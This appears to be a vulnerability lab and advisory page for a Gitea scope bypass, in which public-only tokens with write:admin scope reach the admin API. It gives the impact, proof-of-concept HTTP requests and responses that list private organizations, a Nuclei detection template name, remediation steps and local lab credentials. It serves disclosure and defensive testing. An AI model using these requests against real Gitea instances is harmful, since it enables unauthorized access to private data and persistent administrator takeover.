Gitea <= 28.2.0 - Public-only Token Scope Bypass on Admin API (privilege escalation)
Run this lab
Lab not starting or behaving wrong? Report a problem with this lab
Summary
Gitea through 28.2.0 fails to enforce the "public-only" access-token restriction on the /api/v1/admin route group. A token created with the public-only flag plus the write:admin scope is correctly refused on normal routes (for example GET /api/v1/orgs/{private-org} returns "token scope is limited to public orgs"), but the admin route group attaches neither checkTokenPublicOnly() nor rejectPublicOnly(), and admin.GetAllOrgs returns Public, Limited and Private orgs unconditionally. A holder of such a site-admin-issued public-only token can list all users and their emails, read private organizations, create private orgs, mint Actions runner registration tokens, and create or promote a new site administrator account that persists after the original token is revoked. This is the same defect previously fixed for /api/v1/user (CVE-2026-24791) and for org/team routes (CVE-2026-58429), now reaching the admin API.
Technical detail
Impact
An attacker holding a site-admin-issued public-only token - a token explicitly meant to be limited to public resources, and therefore more likely to be shared, embedded in CI variables, or logged - gains full administrative reach over the instance. They can enumerate every user account and email address, read and create private organizations, mint Actions runner registration tokens, and create or promote a new site-administrator account. Because the created admin account is independent of the token, it survives rotation or revocation of the token, giving durable persistence.
Exploitation & proof of concept
Public-only token reaches private orgs via /api/v1/admin/orgs
The public-only restriction is enforced on /api/v1/orgs/{org} (403) but not on the admin route group, so the same token lists all organizations including private ones through /api/v1/admin/orgs.
GET /api/v1/admin/orgs?limit=50 HTTP/1.1 Host: {{Hostname}} Authorization: token PUBLIC_ONLY_WRITE_ADMIN_TOKEN Accept: application/json
HTTP/1.1 200 OK Content-Type: application/json [{"id":2,"name":"secretorg","full_name":"","visibility":"private"}]
Control: public-only token refused on normal org route
On a normal route the public-only restriction is correctly enforced, returning 403 with the scope-limited message. This confirms the token is genuinely public-only and isolates the admin-route bypass.
GET /api/v1/orgs/secretorg HTTP/1.1 Host: {{Hostname}} Authorization: token PUBLIC_ONLY_WRITE_ADMIN_TOKEN Accept: application/json
HTTP/1.1 403 Forbidden Content-Type: application/json {"message":"token scope is limited to public orgs"}
Nuclei detection: vt-2026-117635.nuclei.yaml
Remediation
- Upgrade to Gitea 28.3.0 or later
- Audit site-administrator accounts and remove any that are unrecognized
- Review registered Actions runners and revoke unknown registration tokens
- Rotate public-only tokens issued from site-admin accounts, especially any exposed in CI variables or build logs
Lab setup notes
- Gitea is available at http://localhost:3000 (admin account: vtadmin / VtAdmin123!)
- The seed step (embedded in docker-compose.yaml) provisions a private org 'secretorg' and mints a public-only write:admin token
- Read the generated token and proof: docker compose logs seed (or: docker compose run --rm proof-reader)
- Run the template: nuclei -t vt-2026-117635.nuclei.yaml -u http://localhost:3000 -var token=<TOKEN> -var org=secretorg
- NOTE: the nuclei template is AUTHENTICATED - it requires -var token=<public-only write:admin token> and -var org=<private-org>. It does NOT match on an unauthenticated scan, by design, because the vulnerability requires a site-admin-issued public-only token.
References
- https://vulnerabletarget.com/VT-2026-117635
- https://github.com/go-gitea/gitea/security/advisories/GHSA-37xv-m4w7-j2fh
- https://www.cve.org/CVERecord?id=CVE-2026-117635
- https://github.com/go-gitea/gitea/pull/39690
- https://escape.tech/blog/escape-research-found-a-scope-bypass-that-made-gitea-s-restricted-tokens-full-admins-it-s-now-cve-2026-117635/